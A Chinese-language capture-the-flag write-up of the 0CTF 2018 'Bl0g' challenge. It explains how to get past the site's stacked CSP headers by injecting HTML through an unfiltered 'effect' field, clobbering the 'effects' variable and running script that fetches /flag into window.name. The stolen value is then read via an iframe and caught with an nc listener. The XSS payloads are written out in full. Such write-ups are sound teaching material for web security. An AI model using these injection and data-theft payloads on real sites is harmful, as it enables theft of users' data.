参考文献:https://lorexxar.cn/2018/04/05/0ctf2018-blog/
https://45.76.198.31/post/0CTF%202018%20Quals%20Bl0g%20writeup
CSP:https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src
利用window.name+iframe跨域获取数:http://www.cnblogs.com/zichi/p/4620656.html
站内的功能:
- New 写文章并提交
- article/xx 查看文章/评论
- submit 提交url (start with http://202.120.7.197:8090)
- flag flag{ONLY_4dmin_can_r3ad_7h!s}
①在响应头中可以看到CSP1
2Content-Security-Policy:script-src 'self' 'unsafe-inline'
Content-Security-Policy:default-src 'none'; script-src 'nonce-+AqBwcppQYhunm0hOq5iEIBH+LI=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'
其中
script-src 'self' 'unsafe-inline'
:允许使用内联资源,如内联<script>
元素,javascript:
URL,内联事件处理程序和内联<style>
元素script-src 'nonce-+AqBwcppQYhunm0hOq5iEIBH+LI=' 'strict-dynamic'
:'strict-dynamic '
源表达式指定显式给予标记中存在的脚本的信任,通过附加一个随机数或散列,应该传播给由该脚本加载的所有脚本。 同时,任何白名单或源表达式,例如'self'
或'unsafe-inline'
都将被忽略。strict-dynamic
对因为nonce-{random}
匹配或者hash
匹配(例如sha256-{sha256sum}、sha512-{sha512sum}
等)而加载的 js 代码赋予一定程度的信任,允许他们操作 DOM 来加载其他的 js>。 例如,像script-src 'strict-dynamic' 'nonce-R4nd0m' https://1.com/
将允许加载一个具有<script nonce="R4nd0m" src="https://2.com/a.js">
,并将该信任传播给由a.js加载的任何脚本,但不允许从https://1.com/
加载脚本,除非伴随着一个随机数或从可信脚本加载。base-uri 'none'
代表不能通过修改根域来实现攻击;default-src 'none'
定义针对所有类型(js、image、css、web font,ajax请求,iframe,多媒体等)资源的默认加载策略,某类型资源如果没有单独定义策略,就使用默认的。这其中包含了iframe-src,这代表攻击方式一定在站内实现
*script-src
的双限制代表我们只能通过<script>{eval_code}</script>
的方式来实现攻击。
两个CSP分开写,是同时生效并且单独生效的,也就是与的关系。
换个说法就是,假设我们通过动态生成script标签的方式,成功绕过了第二个CSP,但我们引入了<script src="your.website">
,就会被第一条CSP拦截。
②new中有一个字段是effect,是设置特效的
effect字段会插入到页面中的<input type="hidden" id="effect" value="{effect_value}">
,但这里实际上是没有任何过滤的,也就是说我们可以通过闭合这个标签并插入我们想要的标签,需要注意的是,这个点只能插入70个字符。
config.js里定义了 effects 变量1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17var effects = {
'nest': [
'<script src="/assets/js/effects/canvas-nest.min.js"></script>'
],
'3waves': [
'<script src="/assets/js/effects/three.min.js"></script>',
'<script src="/assets/js/effects/three-waves.min.js"></script>'
],
'lines': [
'<script src="/assets/js/effects/three.min.js"></script>',
'<script src="/assets/js/effects/canvas-lines.min.js"></script>'
],
'sphere': [
'<script src="/assets/js/effects/three.min.js"></script>',
'<script src="/assets/js/effects/canvas-sphere.min.js"></script>'
],
}
article.js是取页面中 name=”effect” 元素的值作为 effects 的下标,通过 jQuery 的 append() 追加的页面中1
2
3$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});
effects 是可以被我们劫持的:1
2
3
4
5<script a="
<script nonce="testtt">...
浏览器有一定的容错能力,他会补足不完整的标签
=====>
<script a="<script" nonce="test">...
覆盖effects[$("#effect").val()]
,这里我们选择id属性(这里其实是为了id会使用两次,可以更省位数),尝试传入1
id"><form name=effects id="<script>alert(1)</script>"><script>
通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name
,紧接着,我们需要想办法获取这里的window.name
(window.name不跟随域变化而变化,通过window.name我们可以缓存原本的数据。)1
id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>
通过iframe 读取 window.name里的内容:
1 | <iframe src="http://202.120.7.197:8090/article/3855"></iframe> |
最后nc连接查看:nc -lp 8989